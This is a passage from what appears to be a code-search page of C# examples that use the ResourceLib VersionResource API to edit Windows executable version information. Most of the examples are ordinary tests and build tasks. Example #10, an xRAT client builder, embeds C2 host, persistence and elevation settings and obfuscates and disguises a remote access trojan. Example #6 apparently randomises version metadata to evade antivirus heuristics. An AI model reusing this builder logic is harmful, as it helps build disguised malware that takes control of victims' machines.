VS_VERSIONINFO This structure depicts the organization of data in a file-version resource. It is the root structure that contains all other file-version information structures. http://msdn.microsoft.com/en-us/library/aa914916.aspx
Inheritance: Resource
コード例 #1
0
ファイル: SetFileVersion.cs プロジェクト: zealic/zealib.build
        public override bool Execute()
        {
            var versionString = Version.ItemSpec;
            if (!File.Exists(TargetFile))
            {
                Log.LogError("Target file \"{0}\" dose not exist.", TargetFile);
                return false;
            }

            var versionResource = new VersionResource
            {
                Language = 0
            };
            versionResource.LoadFrom(TargetFile);
            var stringInfo = (StringFileInfo)versionResource["StringFileInfo"];
            foreach (DictionaryEntry entry in Version.CloneCustomMetadata())
            {
                var name = (string)entry.Key;
                var value = (string)entry.Value;
                Log.LogMessage("{0}={1}", name, value);
                if (string.IsNullOrEmpty(value)) continue;
                stringInfo[name] = value + "\0";
            }
            versionResource.FileVersion = versionString;
            versionResource.ProductVersion = versionString;
            stringInfo["FileVersion"] = versionString + "\0";
            stringInfo["ProductVersion"] = versionString + "\0";
            versionResource.SaveTo(TargetFile);
            return true;
        }
コード例 #2
0
        public void NoExceptionsOnNonAnsiPaths(string pefile, string widepath)
        {
            string widedir = Path.Combine(Path.GetTempPath(), widepath);
            try
            {
                if(Directory.Exists(widedir))
                    Directory.Delete(widedir, true);
                Directory.CreateDirectory(widedir);

                // Some binary file
                string pefileSrc = Path.Combine(Path.GetDirectoryName(new Uri(Assembly.GetExecutingAssembly().EscapedCodeBase, UriKind.Absolute).LocalPath), "Binaries\\" + pefile);
                Assert.That(File.Exists(pefileSrc), Is.True);
                string pefileDest = Path.Combine(widedir, pefile);
                File.Copy(pefileSrc, pefileDest);

                // Check it works — the operation is not important, LoadLibraryEx failed any of them
                var versionResource = new VersionResource();
                versionResource.Language = ResourceUtil.USENGLISHLANGID;
                versionResource.LoadFrom(pefileDest); // “System.ComponentModel.Win32Exception : The system cannot find the file specified” if fails
                DumpResource.Dump(versionResource);
            }
            finally
            {
                try
                {
                    Directory.Delete(widedir, true);
                }
                catch
                {
                    // Ignore, that's post-test cleanup
                }
            }
        }
コード例 #3
0
 static Version GetVersion()
 {
     var asm = Assembly.GetExecutingAssembly();
     var versionResource = new VersionResource();
     var fileName = asm.Location;
     versionResource.LoadFrom(fileName);
     Version v = new Version(versionResource.FileVersion);
     return v;
 }
コード例 #4
0
ファイル: VersionInfo.cs プロジェクト: Robin--/Warewolf
        public static string FetchVersionInfo()
        {
            Assembly asm = Assembly.GetExecutingAssembly();
            var versionResource = new VersionResource();
            string fileName = asm.Location;
            versionResource.LoadFrom(fileName);

            return versionResource.FileVersion;
        }
コード例 #5
0
        public void TestDeepCopyBytes()
        {
            string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
            Assert.IsTrue(File.Exists(filename));
            VersionResource existingVersionResource = new VersionResource();
            existingVersionResource.Language = ResourceUtil.USENGLISHLANGID;
            Console.WriteLine("Loading {0}", filename);
            existingVersionResource.LoadFrom(filename);
            DumpResource.Dump(existingVersionResource);

            VersionResource versionResource = new VersionResource();
            versionResource.FileVersion = existingVersionResource.FileVersion;
            versionResource.ProductVersion = existingVersionResource.ProductVersion;

            StringFileInfo existingVersionResourceStringFileInfo = (StringFileInfo)existingVersionResource["StringFileInfo"];
            VarFileInfo existingVersionResourceVarFileInfo = (VarFileInfo)existingVersionResource["VarFileInfo"];

            // copy string resources, data only
            StringFileInfo stringFileInfo = new StringFileInfo();
            versionResource["StringFileInfo"] = stringFileInfo;
            {
                Dictionary<string, StringTable>.Enumerator enumerator = existingVersionResourceStringFileInfo.Strings.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    StringTable stringTable = new StringTable(enumerator.Current.Key);
                    stringFileInfo.Strings.Add(enumerator.Current.Key, stringTable);
                    Dictionary<string, StringTableEntry>.Enumerator resourceEnumerator = enumerator.Current.Value.Strings.GetEnumerator();
                    while (resourceEnumerator.MoveNext())
                    {
                        StringTableEntry stringResource = new StringTableEntry(resourceEnumerator.Current.Key);
                        stringResource.Value = resourceEnumerator.Current.Value.Value;
                        stringTable.Strings.Add(resourceEnumerator.Current.Key, stringResource);
                    }
                }
            }

            // copy var resources, data only
            VarFileInfo varFileInfo = new VarFileInfo();
            versionResource["VarFileInfo"] = varFileInfo;
            {
                Dictionary<string, VarTable>.Enumerator enumerator = existingVersionResourceVarFileInfo.Vars.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    VarTable varTable = new VarTable(enumerator.Current.Key);
                    varFileInfo.Vars.Add(enumerator.Current.Key, varTable);
                    Dictionary<UInt16, UInt16>.Enumerator translationEnumerator = enumerator.Current.Value.Languages.GetEnumerator();
                    while (translationEnumerator.MoveNext())
                    {
                        varTable.Languages.Add(translationEnumerator.Current.Key, translationEnumerator.Current.Value);
                    }
                }
            }

            ByteUtils.CompareBytes(existingVersionResource.WriteAndGetBytes(), versionResource.WriteAndGetBytes());
        }
コード例 #6
0
        public static void CreateHeurVersionInfo(string FilePath)
        {
            VersionResource versionResource = new VersionResource();
            versionResource.FileVersion = "1.0.0.0";
            versionResource.ProductVersion = "1.0.0.0";

            StringFileInfo stringFileInfo = new StringFileInfo();
            versionResource[stringFileInfo.Key] = stringFileInfo;
            StringTable stringFileInfoStrings = new StringTable();
            stringFileInfoStrings.LanguageID = (ushort)langIds[R.Next(0, langIds.Length)];
            stringFileInfoStrings.CodePage = (ushort)charSets[R.Next(0, charSets.Length)];
            stringFileInfo.Strings.Add(stringFileInfoStrings.Key, stringFileInfoStrings);

            stringFileInfoStrings["ProductName"] = GenString(280, 300);
            stringFileInfoStrings["FileDescription"] = GenString(280, 300);
            stringFileInfoStrings["CompanyName"] = GenString(280, 300);
            stringFileInfoStrings["LegalCopyright"] = GenString(280, 300);
           // stringFileInfoStrings["Comments"] = GenString(3, 8);
            stringFileInfoStrings["ProductVersion"] = "1.0.0.0";

            VarFileInfo varFileInfo = new VarFileInfo();
            versionResource[varFileInfo.Key] = varFileInfo;
            VarTable varFileInfoTranslation = new VarTable("Translation");
            varFileInfo.Vars.Add(varFileInfoTranslation.Key, varFileInfoTranslation);
            varFileInfoTranslation[ResourceUtil.USENGLISHLANGID] = 1300;

            versionResource.SaveTo(FilePath);

            //string sys_dir = Environment.GetFolderPath(Environment.SpecialFolder.SystemX86);
            //string[] sys_files = Directory.GetFiles(sys_dir).Where(S => Path.GetExtension(S) == ".exe").OrderBy(X => R.Next()).ToArray();

            //foreach (var sys_file in sys_files)
            //{
            //    using (ResourceInfo ri = new ResourceInfo())
            //    {
            //        ri.Load(sys_file);

            //        try
            //        {
            //            if (ri[Kernel32.ResourceTypes.RT_VERSION].Count > 0)
            //            {
            //                foreach (var rc in ri[Kernel32.ResourceTypes.RT_VERSION])
            //                {
            //                    rc.SaveTo(FilePath);
            //                }
            //                break;
            //            }
            //        }
            //        catch (KeyNotFoundException)
            //        {
            //            continue;
            //        }
            //    }
            //}
        }
コード例 #7
0
 public void TestLoadVersionResourceStrings(string binaryName)
 {
     Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
     string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
     Assert.IsTrue(File.Exists(filename));
     VersionResource versionResource = new VersionResource();
     versionResource.Language = ResourceUtil.USENGLISHLANGID;
     versionResource.LoadFrom(filename);
     DumpResource.Dump(versionResource);
     AssertOneVersionResource(filename);
 }
コード例 #8
0
        public void TestLoadAndSaveVersionResource(string binaryName)
        {
            Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
            string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
            Assert.IsTrue(File.Exists(filename));

            VersionResource versionResource = new VersionResource();
            versionResource.Language = ResourceUtil.USENGLISHLANGID;
            versionResource.LoadFrom(filename);
            DumpResource.Dump(versionResource);

            versionResource.FileVersion = "1.2.3.4";
            versionResource.ProductVersion = "5.6.7.8";
            versionResource.FileFlags = 0x2 | 0x8;  // private and prerelease

            StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
            stringFileInfo["Comments"] = string.Format("{0}\0", Guid.NewGuid());
            stringFileInfo["NewValue"] = string.Format("{0}\0", Guid.NewGuid());

            VarFileInfo varFileInfo = (VarFileInfo)versionResource["VarFileInfo"];
            varFileInfo[ResourceUtil.USENGLISHLANGID] = 1300;

            string targetFilename = Path.Combine(Path.GetTempPath(), "test.dll");
            File.Copy(filename, targetFilename, true);
            Console.WriteLine(targetFilename);
            versionResource.SaveTo(targetFilename);

            VersionResource newVersionResource = new VersionResource();
            newVersionResource.Language = ResourceUtil.USENGLISHLANGID;
            newVersionResource.LoadFrom(targetFilename);
            DumpResource.Dump(versionResource);

            AssertOneVersionResource(targetFilename);
            Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
            Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);
            Assert.AreEqual(newVersionResource.FileFlags, versionResource.FileFlags);

            StringFileInfo testedStringFileInfo = (StringFileInfo)newVersionResource["StringFileInfo"];
            foreach (KeyValuePair<string, StringTableEntry> stringResource in testedStringFileInfo.Default.Strings)
            {
                Console.WriteLine("{0} = {1}", stringResource.Value.Key, stringResource.Value.StringValue);
                Assert.AreEqual(stringResource.Value.Value, stringFileInfo[stringResource.Key]);
            }

            VarFileInfo newVarFileInfo = (VarFileInfo)newVersionResource["VarFileInfo"];
            foreach (KeyValuePair<UInt16, UInt16> varResource in newVarFileInfo.Default.Languages)
            {
                Console.WriteLine("{0} = {1}", varResource.Key, varResource.Value);
                Assert.AreEqual(varResource.Value, varFileInfo[varResource.Key]);
            }
        }
コード例 #9
0
        public void TestDeleteAndSaveVersionResource()
        {
            string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
            Assert.IsTrue(File.Exists(filename));
            string targetFilename = Path.Combine(Path.GetTempPath(), "testDeleteAndSaveVersionResource.dll");
            File.Copy(filename, targetFilename, true);
            Console.WriteLine(targetFilename);
            VersionResource existingVersionResource = new VersionResource();
            existingVersionResource.DeleteFrom(targetFilename);

            VersionResource versionResource = new VersionResource();
            versionResource.FileVersion = "1.2.3.4";
            versionResource.ProductVersion = "4.5.6.7";

            StringFileInfo stringFileInfo = new StringFileInfo();
            versionResource[stringFileInfo.Key] = stringFileInfo;
            StringTable stringFileInfoStrings = new StringTable(); // "040904b0"
            stringFileInfoStrings.LanguageID = 1033;
            stringFileInfoStrings.CodePage = 1200;
            Assert.AreEqual(1033, stringFileInfoStrings.LanguageID);
            Assert.AreEqual(1200, stringFileInfoStrings.CodePage);
            stringFileInfo.Strings.Add(stringFileInfoStrings.Key, stringFileInfoStrings);
            stringFileInfoStrings["ProductName"] = "ResourceLib";
            stringFileInfoStrings["FileDescription"] = "File updated by ResourceLib\0";
            stringFileInfoStrings["CompanyName"] = "Vestris Inc.";
            stringFileInfoStrings["LegalCopyright"] = "All Rights Reserved\0";
            stringFileInfoStrings["EmptyValue"] = "";
            stringFileInfoStrings["Comments"] = string.Format("{0}\0", Guid.NewGuid());
            stringFileInfoStrings["ProductVersion"] = string.Format("{0}\0", versionResource.ProductVersion);

            VarFileInfo varFileInfo = new VarFileInfo();
            versionResource[varFileInfo.Key] = varFileInfo;
            VarTable varFileInfoTranslation = new VarTable("Translation");
            varFileInfo.Vars.Add(varFileInfoTranslation.Key, varFileInfoTranslation);
            varFileInfoTranslation[ResourceUtil.USENGLISHLANGID] = 1300;

            versionResource.SaveTo(targetFilename);
            Console.WriteLine("Reloading {0}", targetFilename);

            VersionResource newVersionResource = new VersionResource();
            newVersionResource.LoadFrom(targetFilename);
            DumpResource.Dump(newVersionResource);

            Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
            Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);
        }
コード例 #10
0
ファイル: ClientBuilder.cs プロジェクト: nhz2f/xRAT
        public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo)
        {
            // PHASE 1 - Settings
            string encKey = Helper.GetRandomName(20);
            AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");

            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                if (typeDef.FullName == "Client.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            int strings = 1, bools = 1, ints = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                        case 1: //version
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(Application.ProductVersion, encKey);
                                            break;
                                        case 2: //ip/hostname
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
                                            break;
                                        case 3: //password
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
                                            break;
                                        case 4: //installsub
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
                                            break;
                                        case 5: //installname
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
                                            break;
                                        case 6: //mutex
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
                                            break;
                                        case 7: //startupkey
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
                                            break;
                                        case 8: //random encryption key
                                            methodDef.Body.Instructions[i].Operand = encKey;
                                            break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                                {
                                    switch (bools)
                                    {
                                        case 1: //install
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
                                            break;
                                        case 2: //startup
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
                                            break;
                                        case 3: //hidefile
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
                                            break;
                                        case 4: //AdminElevation
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(adminelevation));
                                            break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                {
                                    switch (ints)
                                    {
                                        case 1: //port
                                            methodDef.Body.Instructions[i].Operand = port;
                                            break;
                                        case 2: //reconnectdelay
                                            methodDef.Body.Instructions[i].Operand = reconnectdelay;
                                            break;
                                    }
                                    ints++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
                                }
                            }
                        }
                    }
                }
            }

            // PHASE 2 - Renaming
            Renamer r = new Renamer(asmDef);
            if (!r.Perform())
                throw new Exception("renaming failed");

            // PHASE 3 - Saving
            r.AsmDef.Write(output);

            // PHASE 4 - Assembly Information changing
            if (asminfo != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(output);

                versionResource.FileVersion = asminfo[7];
                versionResource.ProductVersion = asminfo[6];
                versionResource.Language = 0;

                StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"] = asminfo[2];
                stringFileInfo["FileDescription"] = asminfo[1];
                stringFileInfo["ProductName"] = asminfo[0];
                stringFileInfo["LegalCopyright"] = asminfo[3];
                stringFileInfo["LegalTrademarks"] = asminfo[4];
                stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
                stringFileInfo["FileVersion"] = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"] = asminfo[5];
                stringFileInfo["OriginalFilename"] = asminfo[5];

                versionResource.SaveTo(output);
            }

            // PHASE 5 - Icon changing
            if (!string.IsNullOrEmpty(iconpath))
                IconInjector.InjectIcon(output, iconpath);
        }
コード例 #11
0
        public void TestDeleteAndSaveVersionResource(string binaryName, int language)
        {
            Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
            string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
            Assert.IsTrue(File.Exists(filename));
            string targetFilename = Path.Combine(Path.GetTempPath(), "testDeleteAndSaveVersionResource.dll");
            File.Copy(filename, targetFilename, true);
            Console.WriteLine(targetFilename);
            VersionResource existingVersionResource = new VersionResource();
            existingVersionResource.Language = (ushort)language;
            existingVersionResource.DeleteFrom(targetFilename);

            VersionResource versionResource = new VersionResource();
            versionResource.FileVersion = "1.2.3.4";
            versionResource.ProductVersion = "4.5.6.7";

            StringFileInfo stringFileInfo = new StringFileInfo();
            versionResource[stringFileInfo.Key] = stringFileInfo;
            StringTable stringFileInfoStrings = new StringTable(); // "040904b0"
            stringFileInfoStrings.LanguageID = (ushort)language;
            stringFileInfoStrings.CodePage = 1200;
            Assert.AreEqual(language, stringFileInfoStrings.LanguageID);
            Assert.AreEqual(1200, stringFileInfoStrings.CodePage);
            stringFileInfo.Strings.Add(stringFileInfoStrings.Key, stringFileInfoStrings);
            stringFileInfoStrings["ProductName"] = "ResourceLib";
            stringFileInfoStrings["FileDescription"] = "File updated by ResourceLib\0";
            stringFileInfoStrings["CompanyName"] = "Vestris Inc.";
            stringFileInfoStrings["LegalCopyright"] = "All Rights Reserved\0";
            stringFileInfoStrings["EmptyValue"] = "";
            stringFileInfoStrings["Comments"] = string.Format("{0}\0", Guid.NewGuid());
            stringFileInfoStrings["ProductVersion"] = string.Format("{0}\0", versionResource.ProductVersion);

            VarFileInfo varFileInfo = new VarFileInfo();
            versionResource[varFileInfo.Key] = varFileInfo;
            VarTable varFileInfoTranslation = new VarTable("Translation");
            varFileInfo.Vars.Add(varFileInfoTranslation.Key, varFileInfoTranslation);
            varFileInfoTranslation[ResourceUtil.USENGLISHLANGID] = 1300;

            versionResource.SaveTo(targetFilename);
            Console.WriteLine("Reloading {0}", targetFilename);

            VersionResource newVersionResource = new VersionResource();
            newVersionResource.LoadFrom(targetFilename);
            DumpResource.Dump(newVersionResource);

            AssertOneVersionResource(targetFilename);
            Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
            Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);
        }
コード例 #12
0
 public void TestLoadVersionResourceStrings()
 {
     string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
     Assert.IsTrue(File.Exists(filename));
     VersionResource versionResource = new VersionResource();
     versionResource.Language = ResourceUtil.USENGLISHLANGID;
     versionResource.LoadFrom(filename);
     DumpResource.Dump(versionResource);
 }
コード例 #13
0
 public void TestLoadNeutralDeleteEnglishResource()
 {
     // the 6to4svc.dll has an English version info strings resource that is loaded via netural
     VersionResource vr = new VersionResource();
     string testDll = Path.Combine(Path.GetTempPath(), "testLoadNeutralDeleteEnglishResource.dll");
     Console.WriteLine(testDll);
     Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
     string dll = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\6to4svc.dll");
     File.Copy(dll, testDll, true);
     vr.LoadFrom(testDll);
     Assert.AreEqual(1033, vr.Language);
     vr.DeleteFrom(testDll);
 }
コード例 #14
0
        public void TestDeleteDeepCopyAndSaveVersionResource(string binaryName, int language)
        {
            Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
            string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
            Assert.IsTrue(File.Exists(filename));
            string targetFilename = Path.Combine(Path.GetTempPath(), binaryName);
            File.Copy(filename, targetFilename, true);
            Console.WriteLine(targetFilename);
            VersionResource existingVersionResource = new VersionResource();
            existingVersionResource.Language = (ushort)language;
            existingVersionResource.LoadFrom(targetFilename);
            DumpResource.Dump(existingVersionResource);
            existingVersionResource.DeleteFrom(targetFilename);

            VersionResource versionResource = new VersionResource();
            versionResource.FileVersion = existingVersionResource.FileVersion;
            versionResource.ProductVersion = existingVersionResource.ProductVersion;

            StringFileInfo existingVersionResourceStringFileInfo = (StringFileInfo)existingVersionResource["StringFileInfo"];
            VarFileInfo existingVersionResourceVarFileInfo = (VarFileInfo)existingVersionResource["VarFileInfo"];

            // copy string resources, data only
            StringFileInfo stringFileInfo = new StringFileInfo();
            versionResource["StringFileInfo"] = stringFileInfo;
            {
                Dictionary<string, StringTable>.Enumerator enumerator = existingVersionResourceStringFileInfo.Strings.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    StringTable stringTable = new StringTable(enumerator.Current.Key);
                    stringFileInfo.Strings.Add(enumerator.Current.Key, stringTable);
                    Dictionary<string, StringTableEntry>.Enumerator resourceEnumerator = enumerator.Current.Value.Strings.GetEnumerator();
                    while (resourceEnumerator.MoveNext())
                    {
                        StringTableEntry stringResource = new StringTableEntry(resourceEnumerator.Current.Key);
                        stringResource.Value = resourceEnumerator.Current.Value.Value;
                        stringTable.Strings.Add(resourceEnumerator.Current.Key, stringResource);
                    }
                }
            }

            // copy var resources, data only
            VarFileInfo varFileInfo = new VarFileInfo();
            versionResource["VarFileInfo"] = varFileInfo;
            {
                Dictionary<string, VarTable>.Enumerator enumerator = existingVersionResourceVarFileInfo.Vars.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    VarTable varTable = new VarTable(enumerator.Current.Key);
                    varFileInfo.Vars.Add(enumerator.Current.Key, varTable);
                    Dictionary<UInt16, UInt16>.Enumerator translationEnumerator = enumerator.Current.Value.Languages.GetEnumerator();
                    while (translationEnumerator.MoveNext())
                    {
                        varTable.Languages.Add(translationEnumerator.Current.Key, translationEnumerator.Current.Value);
                    }
                }
            }

            versionResource.SaveTo(targetFilename);
            Console.WriteLine("Reloading {0}", targetFilename);

            VersionResource newVersionResource = new VersionResource();
            newVersionResource.LoadFrom(targetFilename);
            DumpResource.Dump(newVersionResource);

            AssertOneVersionResource(targetFilename);
            Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
            Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);

            StringFileInfo testedStringFileInfo = (StringFileInfo)newVersionResource["StringFileInfo"];
            foreach (KeyValuePair<string, StringTableEntry> stringResource in testedStringFileInfo.Default.Strings)
            {
                Assert.AreEqual(stringResource.Value.Value, stringFileInfo[stringResource.Key]);
            }

            VarFileInfo newVarFileInfo = (VarFileInfo)newVersionResource["VarFileInfo"];
            foreach (KeyValuePair<UInt16, UInt16> varResource in newVarFileInfo.Default.Languages)
            {
                Assert.AreEqual(varResource.Value, varFileInfo[varResource.Key]);
            }
        }
コード例 #15
0
        public static void CreateInstaller(InstallerLinkerArguments args)
        {
            args.Validate();

            args.WriteLine(string.Format("Creating \"{0}\" from \"{1}\"", args.output, args.template));
            System.IO.File.Copy(args.template, args.output, true);
            System.IO.File.SetAttributes(args.output, System.IO.FileAttributes.Normal);

            string configFilename = args.config;

            #region Version Information

            ConfigFile configfile = new ConfigFile();
            configfile.Load(configFilename);

            // \todo: check XML with XSD, warn if nodes are being dropped

            // filter the configuration
            string configTemp = null;
            if (!string.IsNullOrEmpty(args.processorArchitecture))
            {
                int configurationCount = configfile.ConfigurationCount;
                int componentCount = configfile.ComponentCount;
                args.WriteLine(string.Format("Applying processor architecture filter \"{0}\"", args.processorArchitecture));
                ProcessorArchitectureFilter filter = new ProcessorArchitectureFilter(args.processorArchitecture);
                XmlDocument filteredXml = configfile.GetXml(filter);
                configTemp = configFilename = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());
                filteredXml.Save(configTemp);
                configfile.LoadXml(filteredXml);
                args.WriteLine(string.Format(" configurations: {0} => {1}", configurationCount, configfile.ConfigurationCount));
                args.WriteLine(string.Format(" components: {0} => {1}", componentCount, configfile.ComponentCount));
            }

            args.WriteLine(string.Format("Updating binary attributes in \"{0}\"", args.output));
            VersionResource rc = new VersionResource();
            rc.LoadFrom(args.output);

            // version information
            StringFileInfo stringFileInfo = (StringFileInfo)rc["StringFileInfo"];
            if (!string.IsNullOrEmpty(configfile.productversion))
            {
                rc.ProductVersion = configfile.productversion;
                stringFileInfo["ProductVersion"] = configfile.productversion;
            }

            if (!string.IsNullOrEmpty(configfile.fileversion))
            {
                rc.FileVersion = configfile.fileversion;
                stringFileInfo["FileVersion"] = configfile.fileversion;
            }

            foreach (FileAttribute attr in configfile.fileattributes)
            {
                args.WriteLine(string.Format(" {0}: {1}", attr.name, attr.value));
                stringFileInfo[attr.name] = attr.value;
            }

            rc.Language = ResourceUtil.NEUTRALLANGID;
            rc.SaveTo(args.output);

            #endregion

            #region Optional Icon
            // optional icon
            if (!string.IsNullOrEmpty(args.icon))
            {
                args.WriteLine(string.Format("Embedding icon \"{0}\"", args.icon));
                IconFile iconFile = new IconFile(args.icon);
                List<string> iconSizes = new List<string>();
                foreach (IconFileIcon icon in iconFile.Icons)
                    iconSizes.Add(icon.ToString());
                args.WriteLine(string.Format(" {0}", string.Join(", ", iconSizes.ToArray())));
                IconDirectoryResource iconDirectory = new IconDirectoryResource(iconFile);
                iconDirectory.Name = new ResourceId(128);
                iconDirectory.Language = ResourceUtil.NEUTRALLANGID;
                iconDirectory.SaveTo(args.output);
            }
            #endregion

            #region Manifest
            if (!string.IsNullOrEmpty(args.manifest))
            {
                args.WriteLine(string.Format("Embedding manifest \"{0}\"", args.manifest));
                ManifestResource manifest = new ManifestResource();
                manifest.Manifest.Load(args.manifest);
                manifest.SaveTo(args.output);
            }
            #endregion

            string supportdir = string.IsNullOrEmpty(args.apppath)
                ? Environment.CurrentDirectory
                : args.apppath;

            string templatepath = Path.GetDirectoryName(Path.GetFullPath(args.template));

            // create a temporary directory for CABs
            string cabtemp = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());
            Directory.CreateDirectory(cabtemp);
            args.WriteLine(string.Format("Writing CABs to \"{0}\"", cabtemp));

            try
            {
                #region Prepare CABs

                long totalSize = 0;
                List<String> allFilesList = new List<string>();

                // embedded files
                if (args.embed)
                {
                    args.WriteLine(string.Format("Compressing files in \"{0}\"", supportdir));
                    Dictionary<string, EmbedFileCollection> all_files = configfile.GetFiles(string.Empty, supportdir);
                    // ensure at least one for additional command-line parameters
                    if (all_files.Count == 0) all_files.Add(string.Empty, new EmbedFileCollection(supportdir));
                    Dictionary<string, EmbedFileCollection>.Enumerator enumerator = all_files.GetEnumerator();

                    while (enumerator.MoveNext())
                    {
                        EmbedFileCollection c_files = enumerator.Current.Value;

                        // add additional command-line files to the root CAB
                        if (string.IsNullOrEmpty(enumerator.Current.Key))
                        {
                            if (args.embedFiles != null)
                            {
                                foreach (string filename in args.embedFiles)
                                {
                                    string fullpath = Path.Combine(args.apppath, filename);
                                    c_files.Add(new EmbedFilePair(fullpath, filename));
                                }
                            }

                            if (args.embedFolders != null)
                            {
                                foreach (string folder in args.embedFolders)
                                {
                                    c_files.AddDirectory(folder);
                                }
                            }
                        }

                        if (c_files.Count == 0)
                            continue;

                        c_files.CheckFilesExist(args);
                        c_files.CheckFileAttributes(args);

                        ArrayList files = c_files.GetFilePairs();

                        // compress new CABs
                        string cabname = string.IsNullOrEmpty(enumerator.Current.Key)
                            ? Path.Combine(cabtemp, "SETUP_%d.CAB")
                            : Path.Combine(cabtemp, string.Format("SETUP_{0}_%d.CAB", enumerator.Current.Key));

                        Compress cab = new Compress();
                        long currentSize = 0;
                        cab.evFilePlaced += delegate(string s_File, int s32_FileSize, bool bContinuation)
                        {
                            if (!bContinuation)
                            {
                                totalSize += s32_FileSize;
                                currentSize += s32_FileSize;
                                args.WriteLine(String.Format(" {0} - {1}", s_File, EmbedFileCollection.FormatBytes(s32_FileSize)));
                            }

                            return 0;
                        };
                        cab.CompressFileList(files, cabname, true, true, args.embedResourceSize);

                        StringBuilder fileslist = new StringBuilder();
                        fileslist.AppendLine(string.Format("{0} CAB size: {1}",
                            string.IsNullOrEmpty(enumerator.Current.Key) ? "*" : enumerator.Current.Key,
                            EmbedFileCollection.FormatBytes(currentSize)));

                        fileslist.Append(" " + String.Join("\r\n ", c_files.GetFileValuesWithSize(2)));
                        allFilesList.Add(fileslist.ToString());
                    }
                }
                #endregion

                #region Resources
                // embed resources

                IntPtr h = ResourceUpdate.BeginUpdateResource(args.output, false);

                if (h == IntPtr.Zero)
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }

                if (!string.IsNullOrEmpty(args.banner))
                {
                    args.WriteLine(string.Format("Embedding banner \"{0}\"", args.banner));
                    ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId("RES_BANNER"),
                        ResourceUtil.NEUTRALLANGID, args.banner);
                }

                if (!string.IsNullOrEmpty(args.splash))
                {
                    args.WriteLine(string.Format("Embedding splash screen \"{0}\"", args.splash));
                    ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId("RES_SPLASH"),
                        ResourceUtil.NEUTRALLANGID, args.splash);
                }

                args.WriteLine(string.Format("Embedding configuration \"{0}\"", configFilename));
                ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId("RES_CONFIGURATION"),
                    ResourceUtil.NEUTRALLANGID, configFilename);

                #region Embed Resources

                EmbedFileCollection html_files = new EmbedFileCollection(args.apppath);

                if (args.htmlFiles != null)
                {
                    foreach (string filename in args.htmlFiles)
                    {
                        string fullpath = Path.GetFullPath(filename);
                        if (Directory.Exists(fullpath))
                        {
                            html_files.AddDirectory(fullpath);
                        }
                        else
                        {
